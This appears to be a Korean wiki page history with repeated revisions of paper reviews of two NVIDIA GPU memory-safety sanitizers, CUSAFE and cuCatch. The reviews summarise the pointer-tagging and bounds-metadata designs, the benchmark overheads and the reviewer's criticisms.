기존 해결책은 두 갈래로 나뉘지만 둘 다 실용성이 부족하다. GPUShield, LMI, GPUArmor 같은 방식은 hardware modification을 요구하고, cuCatch는 NVIDIA proprietary toolchain 수정에 의존한다. 반대로 commodity GPU에서 바로 쓸 수 있는 NVIDIA '''compute-sanitizer는 논문 평가에서 평균 15배 slowdown'''을 보일 정도로 비용이 크다. GMOD와 clArmor 같은 canary 기반 방식은 overhead는 작지만 non-linear overflow나 temporal corruption을 충분히 잡지 못한다.

== Main Idea ==
핵심 아이디어는 pointer와 buffer 양쪽에 서로 다른 역할의 metadata를 나누어 저장하는 것이다. Pointer에는 빠르게 해석 가능한 coarse-grained 정보, 즉 2^n alignment size, pointer type, buffer identity를 담고, buffer 시작부에는 exact bounds를 in-band로 저장한다. Dereference 시점에는 pointer tag로 buffer 시작 위치를 복원하고, 그곳의 exact bounds를 읽어 spatial validity와 liveness를 검사한다.

이를 통해서, 2^n alignment tag만 쓰면 padding 내부의 overflow를 놓치지만, in-band exact bounds를 함께 쓰면 정확한 크기 검사가 가능하게 하였다. 또한, out-of-band shadow table을 쓰면 GPU thread들이 각기 다른 metadata address를 읽어 memory transaction이 늘어나지만, in-band metadata는 같은 buffer에 대한 접근에서 broadcast될 수 있다.

Temporal bug는 별도 shadow state를 크게 유지하기보다, freed buffer의 exact bounds를 0으로 지워 기존 spatial check가 실패하게 만든다. 여기에 local memory의 stack reuse와 global memory의 VA reuse로 생기는 문제를 막기 위해, local pointer에는 stack epoch를, global pointer에는 VA randomization을 identity metadata로 붙혔다.

== Design ==
# Hybrid metadata layout: CUSAFE는 pointer와 buffer에 metadata를 분산한다. Pointer 쪽에는 2^n-aligned size, local/global type bit, identity 정보를 넣고, buffer 쪽에는 8-byte exact bounds를 in-band로 저장한다. 이 조합은 tag만으로는 놓치는 padding 내부 overflow를 잡으면서도, shadow memory lookup보다 GPU memory hierarchy에 덜 부담을 준다.
# Global pointer tagging via GPU MMU: Global memory는 cudaMalloc/cudaFree처럼 CPU side API로 관리되므로, CUSAFE allocator가 GPU page table을 조정해 특정 VA bit를 tag처럼 사용한다. 논문은 global pointer의 bits [46:41]을 alignment tag로 사용한다고 설명한다. 이 방식은 pointer value에 metadata를 넣으면서도 실제 physical page mapping은 유지한다.
# Local/shared pseudo-pointer tagging: Local/shared memory의 VA는 NVIDIA runtime이 관리하므로 page table 기반 tagging을 직접 적용하기 어렵다. CUSAFE는 compiler instrumentation으로 local/shared pointer에 pseudo tag를 넣고, 실제 dereference 전에는 tag를 제거한다. Local pointer는 bit 47을 type bit로 사용하고 bits [53:48]에 alignment 정보를 둔다.
# Spatial corruption detection: Dereference 전 CUSAFE는 먼저 pointer arithmetic이 metadata bit를 손상했는지 확인한다. 원래 pointer와 arithmetic 결과를 xor하여 2^n 범위 밖의 high bit 변화가 생기면 pointer를 invalid로 표시한다. 그 다음 alignment tag로 lower bits를 clear해 in-band exact bounds 위치를 찾고, access range가 bounds 안에 있는지 검사한다. 여기서 Naive하게 그냥 Bug reporting하면 False positive의 가능성이 있다고 한다. 따라서 이 부분은 일단 bug가 났음을 marking만 하고, 지나간 다음, 나중에 사용자가 체크할 수 있도록 하였다.
# Temporal corruption detection: Global buffer는 cudaFree instrumentation이 in-band bounds를 0으로 지우고, double free도 metadata 확인으로 잡는다. Local buffer는 explicit free가 없으므로 function exit에서 metadata를 invalidation한다. 이렇게 하면 dangling pointer dereference는 size 0인 object 접근처럼 처리되어 기존 bounds check에서 실패한다.
# Metadata confusion 방지: Local memory는 stack frame reuse 때문에 old pointer가 새 local variable의 값을 metadata로 오인할 수 있다. CUSAFE는 thread별 stack depth와 generation으로 구성된 stack epoch를 pointer에 넣어, pointer가 살아 있는 stack frame을 가리키는지 확인한다. Global memory는 freed VA가 재사용되는 문제를 줄이기 위해 allocation size에 따라 bits [40:A]를 randomize한다.
# Redundant check optimization: CUSAFE는 recurring check, neighboring check, loop-inductive check를 제거한다. 같은 address에 대한 dominating check를 남기고 subordinate check를 삭제하며, 같은 basic block의 같은 base address에서는 min/max offset check만 남긴다. Loop-inductive access는 loop prologue에서 initial/max value만 검사하도록 hoist한다.

== Result ==
성능 평가는 Rodinia, PolyBench-GPU, Tango, LLaMA2-7B, LLaMA3-8B를 포함한 44개 testcase에서 수행되었다. CUSAFE는 평균 runtime overhead 13%를 보였고, LLM throughput은 평균 11% 감소했다. 반면 compute-sanitizer는 평균 15배 slowdown과 LLM throughput 98% 감소를 보였다.

Worst case는 PolyBench의 naive matrix multiplication인 gemm으로, CUSAFE overhead가 83%였다. 논문은 sparse memory access pattern이 cache efficiency를 악화시켰기 때문으로 해석한다. 같은 testcase에서 compute-sanitizer는 153배 overhead를 보여, metadata access pattern이 GPU sanitizer 성능에 큰 영향을 준다는 논문의 설명을 보강한다.

Memory overhead는 CUSAFE의 중요한 강점이다. CUSAFE는 stack epoch용 fixed 16.5 MiB와 allocation당 8-byte in-band size를 사용하며, 평균 memory overhead는 0.3%로 보고된다. cuCatch는 fixed 160 MiB와 scalable 12.5%, LMI는 2^n alignment fragmentation 때문에 평균 23% overhead로 분석된다. LLM benchmark에서는 cuCatch와 LMI가 각각 GiB 단위 overhead를 만들 수 있지만, CUSAFE는 약 16.5 MiB 수준에 머문다.

Optimization 효과도 측정되었다. 세 가지 check optimization은 44개 GPU program에서 평균 19.32%의 check를 제거했고, 평균 실행 시간을 3.5% 줄였으며 LLM throughput은 약 2% 개선했다. lud에서는 shared memory access가 많아 optimization 후 실행 시간이 60% 이상 줄었다.

== Contribution ==
# '''GPU Sanitizer'''에 대한 Motivation이 잘 설명되어 있다.
# Pointer tagging과 in-band exact bounds를 결합해 GPU의 memory broadcast 특성에 맞는 metadata retrieval 방식을 설계했다.
# Pointer arithmetic validation, stack epoch tracking, VA randomization을 통해 tag corruption과 temporal metadata confusion 문제를 완화했다.
# compute-sanitizer, canary 기반 방식, hardware/proprietary-toolchain 기반 연구 사이의 실용적 tradeoff를 정량적으로 비교했다.

== [[Criticisms]] ==
=== Major Concerns ===
# Existing system에 대한 Deployment로 cuCatch를 잡는 것은 조금 위험해 보인다. cuCatch가 비록 open source가 아닐 지라도, NVIDA에서 명백히 관리하고 있는 사용할 수 있는 binary임으로, cucatch는 deployment의 타겟이라기에는 조금 애매한 부분이 있다.
# GPU Sanitizer을 디자인할때 고려하는 상황이 CPU Sanitizer와 어떤 점이 다른지 지적한 부분은 좋았지만, 결국 Solution이 CPU Sanitizer중에서 Multithreading이 중요한 환경에서 좋은 성능을 보였던 방식, 즉 Pointer tagging, 방식이라는 점에서 특별히 Novel한 Approach를 제시하지는 못하였다고 생각한다. 특히 RSan과 매우 유사하며, 논문에서 제시한 RSan과의 차별성은 디자인이나 매커니즘의 근본적인 차이가 아닌, Motivation이 다르단 설명 중심이여서, 납득하기 어려웠다. 개인적으로는, 그러나 RSan과는 유사하여도, GPU Sanitizer연구 초창기의 논문이라는 점에서 의미있기 때문에, 이 공격은 Valid하지만 여전히 가치있는 논문이란 (Motivation이 다르다는) 주장도 설득되는 느낌이다.
# CuSafe에서 제시한 shadow memory대비 이점은 CuSafe처럼 Pointer Tagging을 사용하기 때문에 Alias pointer를 사용하게 되는 Scheme에만 적용되는 Limitation이다. 즉 Compute Sanitizer처럼 고정된 VA를 사용하는 Location-based sanitizer에는 적용되지 않는 Limitation이다. 따라서 이 문제를 확장시켜서 가져오는 것에는 한계가 있다.
# Baseline 비교의 일부는 직접 실행이 아니라 논문 설명에 기반한 추정이다. GPUShield, cuCatch, LMI 구현이 공개되어 있지 않아 coverage와 overhead 비교의 재현성이 제한된다.
# Optimization, Epoch-based stack allocation, Pointer-Tagging모두 Previous work들이 존재한다. (E.g., ASan--, StickTag, RSan). 논문을 Design section에서 Reference걸었으면 보다 이 논문의 어떤 점에서 차별성이 있는지 파악하기 쉬웠을 텐데, Reference를 걸어주어야 한다고 생각한다.

=== Minor Concerns ===
# Security benchmark는 알려진 bug 설명을 바탕으로 만든 synthetic program 중심이다. PyTorch/TensorFlow 같은 대규모 실제 framework에서 발견된 실제 bug를 end-to-end로 얼마나 잘 잡는지는 별도 검증이 필요하다.
# Temporal protection은 완전히 결정적이지 않다. Local pointer의 stack generation은 5-bit라 같은 stack depth에서 정확히 32회 호출 뒤 dereference되는 특수 case에서 false negative 가능성이 있고, global VA randomization도 확률적 방어다.
# 현재 design은 object-level bounds를 추적하므로 struct 내부 field 간 intra-object overflow는 잡지 못한다. Field 단위 object로 확장할 수는 있지만 tracked object 수와 overhead가 커질 수 있다.
# Sparse memory access가 많은 kernel에서는 overhead가 커질 수 있다. 평균 overhead는 낮지만 gemm의 83% slowdown은 memory access pattern에 민감한 workload에서 CUSAFE가 항상 가볍지는 않다는 점을 보여준다.
# Figure 15에서 지수값으로 (10^1, 10^2, ...) 가로축 성능 보여주는데, log scale사용하지 말고 위에 over하는 것들은 자르는 방식으로 결과 값을 보여줘야 한다.
# Figure 15 stale reference다. 논문 어디에서도 인용안되고 있다.

== Conclusion ==
이 연구는 GPU memory safety를 단순히 CPU sanitizer를 옮기는 문제가 아니라, GPU execution model과 metadata placement를 함께 설계해야 하는 문제로 바라보게 만든다. CUSAFE는 pointer tagging, in-band exact bounds, stack epoch, VA randomization을 결합해 commodity NVIDIA GPU에서 spatial/temporal memory corruption을 높은 coverage와 낮은 평균 overhead로 탐지할 수 있음을 보였다.

[[분류: USENIX Security]]
[[분류: GPU 보안]]

CuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications

2026-07-08T02:38:36Z

Ahn9807:

{{Paper
|title=cuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications
|author=Mohamed Tarek Ibn Ziad, Sana Damani, Aamer Jaleel, Stephen W. Keckler, Mark Stephenson
|conference=ACM PLDI
|year=2023
}}

== 개요 ==
이 논문은 [[CUDA]] 애플리케이션에서 [[GPU]]의 메모리 버그를 감지 하기 위해서 2-level hashing을 이용한 Pointer tagging기법을 제시하였다.

== Motivation ==
GPU 프로그램도 C/C++ 프로그램처럼 [[Out-of-bounds]] access, [[Use-after-free]], invalid free, double free 같은 memory safety violation을 가질 수 있다. 오히려 CUDA에서는 global, local, shared memory가 서로 다른 주소 체계와 접근 규칙을 갖고, 수천 개 thread가 [[SIMT]] 방식으로 실행되므로 CPU용 sanitizer를 그대로 가져오기 어렵다.

기존 GPU 도구들은 coverage와 overhead 사이에서 한쪽을 포기했다. [[Compute Sanitizer]]는 임의의 GPU binary를 다룰 수 있지만 [[Dynamic binary instrumentation]]에 의존해 매우 느리고, [[GMOD]]나 [[clARMOR]] 같은 compiler 기반 도구는 canary/tripwire 방식이라 non-adjacent overflow나 read-only OOB를 놓치기 쉽다. [[GPUShield]]는 bounds checking을 제안하지만 hardware modification이 필요하므로 commodity GPU에서 바로 쓸 수 없다.

== Importance ==
논문은 CUDA의 global/local/shared/generic pointer semantics를 기준으로 bug taxonomy를 나누고, 각 memory space에 맞는 metadata 관리와 check 삽입 방식을 설계한다.

== Main Idea ==
Allocation마다 정확한 base, size, temporal tag를 별도 metadata table에 저장하고, pointer가 실제 memory access에 쓰일 때 이 metadata를 빠르게 찾아 bounds와 tag를 검사하는 것이다. 논문은 이를 Shadow Tagged Base & Bounds, 즉 Shadow TBB라고 부른다.

Shadow TBB는 두 경로를 함께 쓴다. 사용 가능한 upper pointer bit에 BST(Base and Size Table) entry index를 넣을 수 있으면 pointer tag만으로 metadata를 직접 찾는다. 이 공간이 부족하거나 unified memory처럼 pointer를 tag할 수 없는 경우에는 pointer value로 shadow map을 lookup해 BST entry를 찾는다.

성능 측면의 핵심은 모든 memory access마다 비싼 metadata lookup을 하지 않는 것이다. cuCatch는 base pointer analysis로 root pointer를 찾아 metadata를 한 번 읽고 register에 유지한 뒤, 파생 pointer들의 access에는 check만 삽입한다. 이 register-level fat pointer 효과를 ABI나 memory layout 변경 없이 얻는 것이 설계의 중심이다.

== Design ==
=== Shadow TBB metadata model ===
; Memory Allocation
: cuCatch는 allocation 생성 시 BST entry에 base address, allocation size, random tag를 저장한다. Prototype은 upper pointer bit를 8bit로 가정하며, 처음 2^8-16=240개 device allocation은 pointer upper bits로 BST entry를 직접 가리킨다. 그 이후 allocation이나 unified memory는 32B virtual memory region마다 32bit BST index를 저장하는 2-level shadow map을 사용한다.

; Memory Deallocation
: Allocation이 해제되면 BST tag와 shadow map entry를 invalid 상태로 바꾸어 dangling pointer access가 temporal error로 드러나게 한다. Direct BST-index pointer에서는 delayed UAF도 대체로 deterministic하게 잡을 수 있지만, shadow-map 경로에서는 4bit random tag가 일치하면 놓칠 수 있어 probabilistic detection이 된다.

=== Compiler backend instrumentation ===
; Compiler instrumentation
: cuCatch는 CUDA front-end가 만든 [[PTX]] 이후 backend compiler에 instrumentation pass를 추가한다. 분석 단계에서는 memory instruction에서 pointer arithmetic을 거꾸로 따라가며 reaching base pointer를 찾는다. 변환 단계에서는 base pointer에 대해 READMETADATA를 삽입하고, 실제 load/store/atomic 앞에는 OOBCHECK, TAGCHECK, SAFETYCHECK 같은 check를 넣는다.

: 이 위치를 선택한 이유는 여러 GPU 언어가 PTX로 내려올 수 있고, backend optimization과 scheduling의 효과를 유지할 수 있기 때문이다. 반대로 frontend semantic 정보 일부가 사라져 local buffer 내부 구조 같은 세밀한 bounds를 알기 어렵다는 tradeoff가 생긴다.

=== Memory-space-specific protection ===
; Global memory
: Global memory는 driver가 cudaMalloc/cudaFree 계열 API를 interpose하여 BST와 shadow map을 관리한다. Unified memory는 CPU에서도 pointer가 유효해야 하므로, Top Byte Ignore가 없는 Intel CPU 환경에서는 pointer tag를 쓰지 않고 shadow map만 사용한다<ref>결국 Compute Sanitizer를 쓴다는 말인가? 논문에서 이해 안되는 부분중 하나였음, 그리고 이렇게 하면 Pointer tagging대비 생기는 Limitation은 무었인가?</ref>.

; Shared memory
: Shared memory는 kernel 실행 중 free되지 않으므로 temporal tag가 필요 없다. Static shared buffer는 compiler가 알 수 있는 base/bounds로 check하고, dynamic shared memory는 kernel launch parameter로 만들어지는 하나의 region으로 다룬다.

; Local memory
: Local memory는 thread-private stack 성격을 가지므로 per-thread 31-entry BST를 local memory에 둔다. Pointer upper 8bit 중 5bit는 BST index, 3bit는 temporal tag로 쓰며, function frame entry/exit 시 push/pop 방식으로 stack frame metadata를 관리한다.

; Generic pointer
: Generic pointer는 실제로 shared/local/global 중 어디를 가리키는지 runtime check로 분기한 뒤 각 memory space에 맞는 check를 수행한다.

=== Redundant check optimization ===
: cuCatch는 같은 allocation에 대한 straight-line access의 min/max address만 검사하거나, loop-invariant bounds check를 loop 밖으로 hoist하거나, loop iteration 전체의 min/max access 범위를 한 번에 검사한다. Global memory에서는 temporal error를 놓치지 않도록 제거된 OOBCHECK 자리에 TAGCHECK를 남기는 식으로 spatial optimization과 temporal checking을 분리한다.

== Result ==
Coverage 평가는 GPU memory safety bug를 담은 56개 CUDA test suite로 수행했다. cuCatch는 전체 56개 중 71.4%를 detect했으며, baseline 7.1%, Compute Sanitizer 35.7%, GMOD 14.2%, GPUShield 42.8%보다 높았다.

cuCatch Shadow TBB configuration의 geometric mean runtime slowdown은 1.19x, 즉 19%였고, upper pointer bit를 쓰지 않고 항상 shadow map을 거치는 Shadow BB-only configuration은 1.25x slowdown을 보였다. NVIDIA Compute Sanitizer memcheck와 비교하면 cuCatch가 평균 63x 빠르다.

Memory overhead는 고정 비용과 scaling 비용으로 나뉜다. 고정 비용은 BST 32MB와 first-level shadow map 128MB이고, scaling 비용은 필요할 때 할당되는 second-level shadow map으로 32B memory region마다 32bit entry, 즉 12.5% 수준이다. 논문은 realistic-size application에서는 전체 memory overhead가 20% 미만으로 내려간다고 보고한다.

Optimization의 평균 효과는 전체 workload 기준 4% 성능 개선이다. 특히 shared memory strided access가 많은 app5에서는 bounds check 제거가 instruction 수와 scheduling pressure를 줄여 80% 성능 개선을 만들었다.

== Contribution ==
# GPU memory safety error를 global, unified, shared, local memory space와 spatial/temporal category로 나누어 정리하고, CUDA 특유의 bug coverage 문제를 구체화했다.
# Shadow TBB를 제안해 tagged base & bounds의 빠른 metadata lookup과 shadow-map 기반 scalability를 결합했다.
# Backend compiler instrumentation, base pointer analysis, CUDA driver interposition, memory-space별 metadata structure를 묶어 commodity NVIDIA GPU에서 실행 가능한 debugging tool로 구현했다.
# 56개 error-detection benchmark와 176개 performance workload를 통해 기존 GPU memory safety tool 대비 더 높은 coverage와 낮은 runtime overhead를 제시했다.

== Criticisms ==
우선 논문을 읽기가 너무 힘들었다. Implementation이 Convention과는 다르게 Design이 나왔으며, 불필요하게 과장된 표현들 + 필요 없는 정의들이 논문을 따라가는 흐름을 방해하였다. 특히 논문이 Top-down방식이 아니라 Bottom-up방식으로 쓰여진 부분들도 많았으며, 뒤를 읽어야 앞을 이해할 수 있는 표현들도 많아서 Writing quality가 조금 떨어지는 느낌이 들었다. 또한 논문에서 제시한 방법들은 Sanitizer 방법론에서 많이 Discussion된 부분들이다. 또한 Globa, Shared, Local, Generic으로 나뉘는 것은 좋은데, 각각 어떻게 막고 있는지 표라도 있었으면 더 쉽게 이해할 수 있었을 것 같다.

== Conclusion ==
이 연구는 GPU memory safety debugging을 "CPU sanitizer를 GPU에 포팅하는 문제"가 아니라, CUDA memory space와 compiler/runtime boundary에 맞춘 metadata 설계 문제로 보게 만든다. cuCatch는 Shadow TBB, base pointer analysis, backend instrumentation, driver support를 결합해 높은 bug detection coverage와 평균 19% runtime overhead를 동시에 달성할 수 있음을 보였다.

[[분류: ACM PLDI]]
[[분류: GPU 보안]]

CuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications

2026-07-07T10:48:21Z

Ahn9807:

{{Paper
|title=cuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications
|author=Mohamed Tarek Ibn Ziad, Sana Damani, Aamer Jaleel, Stephen W. Keckler, Mark Stephenson
|conference=ACM PLDI
|year=2023
}}

== 개요 ==
이 논문은 [[CUDA]] 애플리케이션에서 [[GPU]]의 여러 메모리 공간과 대규모 병렬 실행 때문에 [[Memory safety]] 검사가 왜 어려운지 설명하고, Shadow Tagged Base & Bounds와 컴파일러 계측을 결합한 cuCatch로 이를 낮은 오버헤드에 디버깅하는 방법을 다룬다.

== Motivation ==
GPU 프로그램도 C/C++ 프로그램처럼 [[Out-of-bounds]] access, [[Use-after-free]], invalid free, double free 같은 memory safety violation을 가질 수 있다. 오히려 CUDA에서는 global, local, shared memory가 서로 다른 주소 체계와 접근 규칙을 갖고, 수천 개 thread가 [[SIMT]] 방식으로 실행되므로 CPU용 sanitizer를 그대로 가져오기 어렵다.

기존 GPU 도구들은 coverage와 overhead 사이에서 한쪽을 포기했다. [[Compute Sanitizer]]는 임의의 GPU binary를 다룰 수 있지만 [[Dynamic binary instrumentation]]에 의존해 매우 느리고, [[GMOD]]나 [[clARMOR]] 같은 compiler 기반 도구는 canary/tripwire 방식이라 non-adjacent overflow나 read-only OOB를 놓치기 쉽다. [[GPUShield]]는 bounds checking을 제안하지만 hardware modification이 필요하므로 commodity GPU에서 바로 쓸 수 없다.

== Importance ==
논문은 CUDA의 global/local/shared/generic pointer semantics를 기준으로 bug taxonomy를 나누고, 각 memory space에 맞는 metadata 관리와 check 삽입 방식을 설계한다.

또한 cuCatch는 GPU memory safety 도구의 설계 축을 명확히 보여준다. Canary/tripwire는 overhead는 낮지만 coverage가 낮고, DBI는 coverage와 compatibility는 좋지만 overhead가 크며, hardware proposal은 deployment가 어렵다. cuCatch는 commodity GPU에서 compiler instrumentation과 driver support를 결합해 이 중간 지점을 공략한다.

== Main Idea ==
핵심 아이디어는 allocation마다 정확한 base, size, temporal tag를 별도 metadata table에 저장하고, pointer가 실제 memory access에 쓰일 때 이 metadata를 빠르게 찾아 bounds와 tag를 검사하는 것이다. 논문은 이를 Shadow Tagged Base & Bounds, 즉 Shadow TBB라고 부른다.

Shadow TBB는 두 경로를 함께 쓴다. 사용 가능한 upper pointer bit에 BST(Base and Size Table) entry index를 넣을 수 있으면 pointer tag만으로 metadata를 직접 찾는다. 이 공간이 부족하거나 unified memory처럼 pointer를 tag할 수 없는 경우에는 pointer value로 shadow map을 lookup해 BST entry를 찾는다. 이 때문에 pure tagged base & bounds보다 allocation 수에 덜 민감하고, SoftBound처럼 pointer의 저장 위치를 추적해야 하는 방식보다 pointer copy에 덜 취약하다.

성능 측면의 핵심은 모든 memory access마다 비싼 metadata lookup을 하지 않는 것이다. cuCatch는 base pointer analysis로 root pointer를 찾아 metadata를 한 번 읽고 register에 유지한 뒤, 파생 pointer들의 access에는 check만 삽입한다. 이 register-level fat pointer 효과를 ABI나 memory layout 변경 없이 얻는 것이 설계의 중심이다.

== Design ==
=== Shadow TBB metadata model ===
;
: cuCatch는 allocation 생성 시 BST entry에 base address, allocation size, random tag를 저장한다. Prototype은 upper pointer bit를 8bit로 가정하며, 처음 2^8-16=240개 device allocation은 pointer upper bits로 BST entry를 직접 가리킨다. 그 이후 allocation이나 unified memory는 32B virtual memory region마다 32bit BST index를 저장하는 2-level shadow map을 사용한다.

;
: Allocation이 해제되면 BST tag와 shadow map entry를 invalid 상태로 바꾸어 dangling pointer access가 temporal error로 드러나게 한다. Direct BST-index pointer에서는 delayed UAF도 대체로 deterministic하게 잡을 수 있지만, shadow-map 경로에서는 4bit random tag가 일치하면 놓칠 수 있어 probabilistic detection이 된다.

=== Compiler backend instrumentation ===
;
: cuCatch는 CUDA front-end가 만든 [[PTX]] 이후 backend compiler에 instrumentation pass를 추가한다. 분석 단계에서는 memory instruction에서 pointer arithmetic을 거꾸로 따라가며 reaching base pointer를 찾는다. 변환 단계에서는 base pointer에 대해 READMETADATA를 삽입하고, 실제 load/store/atomic 앞에는 OOBCHECK, TAGCHECK, SAFETYCHECK 같은 check를 넣는다.

;
: 이 위치를 선택한 이유는 여러 GPU 언어가 PTX로 내려올 수 있고, backend optimization과 scheduling의 효과를 유지할 수 있기 때문이다. 반대로 frontend semantic 정보 일부가 사라져 local buffer 내부 구조 같은 세밀한 bounds를 알기 어렵다는 tradeoff가 생긴다.

=== Memory-space-specific protection ===
;
: Global memory는 driver가 cudaMalloc/cudaFree 계열 API를 interpose하여 BST와 shadow map을 관리한다. Unified memory는 CPU에서도 pointer가 유효해야 하므로, Top Byte Ignore가 없는 Intel CPU 환경에서는 pointer tag를 쓰지 않고 shadow map만 사용한다.

;
: Shared memory는 kernel 실행 중 free되지 않으므로 temporal tag가 필요 없다. Static shared buffer는 compiler가 알 수 있는 base/bounds로 check하고, dynamic shared memory는 kernel launch parameter로 만들어지는 하나의 region으로 다룬다.

;
: Local memory는 thread-private stack 성격을 가지므로 per-thread 31-entry BST를 local memory에 둔다. Pointer upper 8bit 중 5bit는 BST index, 3bit는 temporal tag로 쓰며, function frame entry/exit 시 push/pop 방식으로 stack frame metadata를 관리한다.

;
: Generic pointer는 실제로 shared/local/global 중 어디를 가리키는지 runtime check로 분기한 뒤 각 memory space에 맞는 check를 수행한다.

=== Redundant check optimization ===
;
: cuCatch는 같은 allocation에 대한 straight-line access의 min/max address만 검사하거나, loop-invariant bounds check를 loop 밖으로 hoist하거나, loop iteration 전체의 min/max access 범위를 한 번에 검사한다. Global memory에서는 temporal error를 놓치지 않도록 제거된 OOBCHECK 자리에 TAGCHECK를 남기는 식으로 spatial optimization과 temporal checking을 분리한다.

=== Error attribution ===
;
: Error 처리 방식은 trap으로 프로그램을 종료해 debugger와 함께 쓰는 mode와, offending address, 허용 bounds, PTX line information을 출력하는 standalone reporting mode가 있다. Reporting mode는 추가 register pressure를 만들 수 있다.

== Result ==
Coverage 평가는 GPU memory safety bug를 담은 56개 CUDA test suite로 수행했다. cuCatch는 전체 56개 중 71.4%를 detect했으며, baseline 7.1%, Compute Sanitizer 35.7%, GMOD 14.2%, GPUShield 42.8%보다 높았다.

Spatial safety에서는 global memory OOB 8/8을 잡았고, local memory OOB는 12/16, shared memory OOB는 10/12를 잡았다. 실패한 local memory case는 같은 stack frame 내부의 adjacent/non-adjacent OOB read/write이고, shared memory 실패 case는 dynamically allocated shared pool에서 여러 buffer를 나눈 경우다. 모든 도구가 struct 내부 field 사이의 intra-allocation OOB 8개는 잡지 못했다.

Temporal safety에서는 immediate UAF와 immediate UAS를 deterministic하게 잡는다. Table 2 기준으로 UAF는 2/4, UAS는 4/4를 detect했다. Delayed temporal error는 pointer tagging 여부와 random tag 충돌 여부에 따라 probabilistic해지며, tag 없는 unified memory에서는 delayed temporal error를 놓칠 수 있다.

성능 평가는 176개 workload에서 수행했다. 여기에는 87개 standalone CUDA kernel, PolyBench-ACC, 대부분의 CUDA Samples가 포함된다. cuCatch Shadow TBB configuration의 geometric mean runtime slowdown은 1.19x, 즉 19%였고, upper pointer bit를 쓰지 않고 항상 shadow map을 거치는 Shadow BB-only configuration은 1.25x slowdown을 보였다. NVIDIA Compute Sanitizer memcheck와 비교하면 cuCatch가 평균 63x 빠르다.

Memory overhead는 고정 비용과 scaling 비용으로 나뉜다. 고정 비용은 BST 32MB와 first-level shadow map 128MB이고, scaling 비용은 필요할 때 할당되는 second-level shadow map으로 32B memory region마다 32bit entry, 즉 12.5% 수준이다. 논문은 realistic-size application에서는 전체 memory overhead가 20% 미만으로 내려간다고 보고한다.

Optimization의 평균 효과는 전체 workload 기준 4% 성능 개선이다. 특히 shared memory strided access가 많은 app5에서는 bounds check 제거가 instruction 수와 scheduling pressure를 줄여 80% 성능 개선을 만들었다.

== Contribution ==
# GPU memory safety error를 global, unified, shared, local memory space와 spatial/temporal category로 나누어 정리하고, CUDA 특유의 bug coverage 문제를 구체화했다.
# Shadow TBB를 제안해 tagged base & bounds의 빠른 metadata lookup과 shadow-map 기반 scalability를 결합했다.
# Backend compiler instrumentation, base pointer analysis, CUDA driver interposition, memory-space별 metadata structure를 묶어 commodity NVIDIA GPU에서 실행 가능한 debugging tool로 구현했다.
# 56개 error-detection benchmark와 176개 performance workload를 통해 기존 GPU memory safety tool 대비 더 높은 coverage와 낮은 runtime overhead를 제시했다.

== Criticisms ==
우선 논문을 읽기가 너무 힘들었다. Implementation이 Convention과는 다르게 Design이 나왔으며, 불필요하게 과장된 표현들 + 필요 없는 정의들이 논문을 따라가는 흐름을 방해하였다. 특히 논문이 Top-down방식이 아니라 Bottom-up방식으로 쓰여진 부분들도 많았으며, 뒤를 읽어야 앞을 이해할 수 있는 표현들도 많아서 Writing quality가 조금 떨어지는 느낌이 들었다.

== Conclusion ==
이 연구는 GPU memory safety debugging을 "CPU sanitizer를 GPU에 포팅하는 문제"가 아니라, CUDA memory space와 compiler/runtime boundary에 맞춘 metadata 설계 문제로 보게 만든다. cuCatch는 Shadow TBB, base pointer analysis, backend instrumentation, driver support를 결합해 높은 bug detection coverage와 평균 19% runtime overhead를 동시에 달성할 수 있음을 보였다.

따라서 cuCatch는 GPU memory safety, compiler-based sanitizer, CUDA runtime instrumentation, hardware 없이 가능한 debugging support를 논의할 때 기준점으로 삼기 좋은 논문이다. 다만 custom allocator, binary-only library, unified memory temporal safety, fine-grained intra-object checking까지 포함하는 완전한 보호 체계로 읽어서는 안 된다.

[[분류: ACM PLDI]]
[[분류: GPU 보안]]

CUSAFE: Capturing Memory Corruption on NVIDIA GPUs

2026-07-02T07:29:15Z

Ahn9807:

{{Paper
|title=CUSAFE: Capturing Memory Corruption on NVIDIA GPUs
|author=Hongyi Lu, Fengwei Zhang, Zhenkai Zhang, Shuai Wang, Yanan Guo
|conference=USENIX Security Symposium
|year=2026
}}

== 개요 ==
이 논문은 [[NVIDIA GPU]]에서 [[Memory corruption]]을 실용적으로 잡기 어려운 이유가 무엇이며, [[Pointer tagging]]과 in-band bounds metadata를 결합한 [[CUDA]] sanitizer로 이를 어떻게 해결할 수 있는지를 다룬다.

== Motivation ==
CUDA와 OpenACC 생태계는 여전히 C/C++ 기반의 memory-unsafe programming model에 크게 의존한다. 따라서 CPU 프로그램에서 오래 문제가 되었던 out-of-bounds access, use-after-free, double free 같은 메모리 오류가 GPU 프로그램에서도 직접적인 안정성/보안 문제가 된다.

기존 해결책은 두 갈래로 나뉘지만 둘 다 실용성이 부족하다. GPUShield, LMI, GPUArmor 같은 방식은 hardware modification을 요구하고, cuCatch는 NVIDIA proprietary toolchain 수정에 의존한다. 반대로 commodity GPU에서 바로 쓸 수 있는 NVIDIA '''compute-sanitizer는 논문 평가에서 평균 15배 slowdown'''을 보일 정도로 비용이 크다. GMOD와 clArmor 같은 canary 기반 방식은 overhead는 작지만 non-linear overflow나 temporal corruption을 충분히 잡지 못한다.

== Importance ==
이 논문의 중요성은 GPU memory safety 문제를 "탐지 능력 대 배포 가능성"의 tradeoff로 명확히 재정의했다는 점에 있다. 이전 연구는 완전한 탐지를 위해 hardware나 비공개 toolchain을 요구하거나, 배포 가능한 방식 대신 제한적인 bug class만 탐지했다. '''CUSAFE는 commodity NVIDIA GPU에서 동작한다는 제약을 먼저 고정'''하고, 그 안에서 metadata 배치와 pointer tagging을 다시 설계한다.

또 하나의 의미는 '''CPU sanitizer의 단순 이식이 GPU에서는 좋은 답이 아니'''라는 점을 보여준 것이다. [[AddressSanitizer]]류의 out-of-band shadow memory는 GPU의 높은 thread parallelism에서 metadata lookup 자체가 memory bandwidth와 cache/TLB pressure를 만든다. 이 논문은 sanitizer design을 hardware execution model에 맞춰야 한다는 점을 지적한다.

마지막으로 CUSAFE는 GPU의 [[MMU]], virtual address layout, local/shared/global memory 차이를 sanitizer metadata scheme의 일부로 끌어들인다. 이는 GPU 보안 연구에서 compiler instrumentation, allocator, virtual memory control을 결합한 실용적 design point를 제시한다.

== Main Idea ==
